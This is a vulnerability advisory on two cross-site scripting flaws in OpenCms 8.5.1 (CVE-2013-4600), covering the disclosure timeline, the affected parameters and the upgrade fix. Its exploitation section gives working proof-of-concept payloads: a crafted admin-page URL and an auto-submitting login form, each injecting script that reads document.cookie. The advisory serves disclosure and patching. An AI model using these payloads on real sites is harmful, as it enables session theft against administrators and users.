Advisory ID: HTB23160
Product: OpenCms
Vendor: Alkacon Software
Vulnerable Version(s): 8.5.1 and probably prior
Tested Version: 8.5.1
Vendor Notification: June 12, 2013=20
Vendor Patch: July 10, 2013=20
Public Disclosure: July 17, 2013=20
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4600
Risk Level: Medium=20
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
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Advisory Details:
High-Tech Bridge Security Research Lab discovered 2 XSS vulnerabilities in =
OpenCms, which can be exploited to perform Cross-Site Scripting attacks aga=
inst users of vulnerable application.=20
1) Multiple Cross-Site Scripting (XSS) in OpenCms: CVE-2013-4600
1.1 The vulnerability exists due to insufficient sanitisation of user-suppl=
ied data in "title" HTTP GET parameter passed to "/opencms/opencms/system/w=
orkplace/views/admin/admin-main.jsp" script. A remote attacker can trick a =
logged-in administrator to open a specially crafted link and execute arbitr=
ary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to di=
splay administrator's cookies:
http://[host]/opencms/opencms/system/workplace/views/admin/admin-main.jsp?a=
ction=3D&dialogtype=3Dpublishproject&framename=3Dbody&title=3D%3Cscript%3Ea=
lert%28document.cookie%29;%3C/script%3E
1.2 The vulnerability exists due to insufficient sanitisation of user-suppl=
ied data in "requestedResource" HTTP POST parameter passed to "/opencms/ope=
ncms/system/login/index.html" URL. A remote attacker can trick a logged-in =
user to open a specially crafted malicious webpage and execute arbitrary HT=
ML and script code in browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to di=
splay user's cookies:
<form action=3D"http://[host]/opencms/opencms/system/login/index.html" meth=
od=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"login" value=3D"true">
<input type=3D"hidden" name=3D"ocPword" value=3D"1">
<input type=3D"hidden" name=3D"ocUname" value=3D"1">
<input type=3D"hidden" name=3D"requestedResource" value=3D'</script><scrip=
t>alert(document.cookie);</script>'>
<input type=3D"submit" id=3D"btn">
</form>
<script>
document.main.submit();
</script>
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Solution:
Upgrade to OpenCms 8.5.2
More Information:
http://www.opencms.org/en/news/130710-opencms-v852-releasenotes.html
https://github.com/alkacon/opencms-core/issues/173
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References:
[1] High-Tech Bridge Advisory HTB23160 - https://www.htbridge.com/advisory/=
HTB23160 - XSS vulnerabilities in OpenCms.
[2] OpenCms - http://www.opencms.org - OpenCms from Alkacon Software is a p=
rofessional, easy to use website content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
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Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.